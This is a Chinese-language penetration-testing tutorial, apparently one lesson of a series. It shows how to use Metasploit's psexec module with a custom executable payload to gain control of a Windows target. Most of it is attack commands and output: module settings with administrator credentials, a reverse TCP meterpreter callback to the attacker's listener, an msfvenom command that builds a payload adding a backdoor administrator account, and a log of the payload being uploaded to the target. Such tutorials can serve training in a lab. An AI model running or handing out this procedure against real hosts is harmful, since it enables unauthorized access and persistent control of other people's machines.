第九十七课：MSF配置自定义Payload控制目标主机权限
MSF的exploit模块下是支持set payload的，同样在复杂的网络环境下，许多模块也同样支持自定义的payload。可以更好的配合第三方框架，如第十一课中提到的Veil-Evasion等。
以exploit/windows/smb/psexec为demo。
攻击机配置如下：
msf exploit(windows/smb/psexec) > show optionsModule options (exploit/windows/smb/psexec):Name Current Setting Required Description‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐RHOST 192.168.1.119 yes The target addressRPORT 445 yes The SMB service port (TCP)SERVICE_DESCRIPTION no Service description to to be used on target fo rpretty listingSERVICE_DISPLAY_NAME no The service display nameSERVICE_NAME no The service nameSHARE ADMIN\$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder shareSMBDomain . no The Windows domain to use for authenticationSMBPass 123456 no The password for the specified usernameSMBUser administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)LHOST 192.168.1.5 yes The listen address (an interface may be specified)LPORT 53 yes The listen portExploit target:Id Name‐‐ ‐‐‐‐0 Automatic
需设置一非，常用选项：
msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exeEXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
靶机当前端口如下：
攻击机执行：
靶机端口变化如下：
虽报错，但并不影响执行。
注意：
Psexec创建一个服务后，来运行可执行文件（如Micropoor.exe）。但是将可执行文件作为服务，payload必须接受来自控制管理器的命令，否则将会执行失败。而psexec创建服务后，将随之停止，该payload处于挂起模式。
参考该服务源码：
payload启动后，将会在过一段时间内退出。并强制终止。
故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。
root@John:/tmp# msfvenom ‐p windows/adduser PASS=Micropoor$123 USER=Micropoor ‐f exe >adduser.exe[‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[‐] No arch selected, selecting arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 279 bytesFinal size of exe file: 73802 bytes
同样可以配合target的改变来解决控制管理器的强制命令接收。
攻击机设置：
msf exploit(windows/smb/psexec) > show targetsExploit targets:Id Name‐‐ ‐‐‐‐0 Automatic1 PowerShell2 Native upload3 MOF uploadmsf exploit(windows/smb/psexec) > set target 2target => 2msf exploit(windows/smb/psexec) > exploit[*] Started reverse TCP handler on 192.168.1.5:53[*] 192.168.1.119:445 ‐ Connecting to the server...[*] 192.168.1.119:445 ‐ Authenticating to 192.168.1.119:445 as user 'administrator'...[*] 192.168.1.119:445 ‐ Uploading payload... kKwZpPRs.exe[*] 192.168.1.119:445 ‐ Using custom payload /var/www/html/bin_tcp_x86\_53.exe, RHOST and RPORT settings will be ignored![*] 192.168.1.119:445 ‐ Created kKwZpPRs.exe...[‐] 192.168.1.119:445 ‐ Unable to remove the service, ERROR_CODE:[‐] 192.168.1.119:445 ‐ Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY[*] Exploit completed, but no session was created.
目标机：
在执行payload即可。
Micropoor
Last updated 12 months ago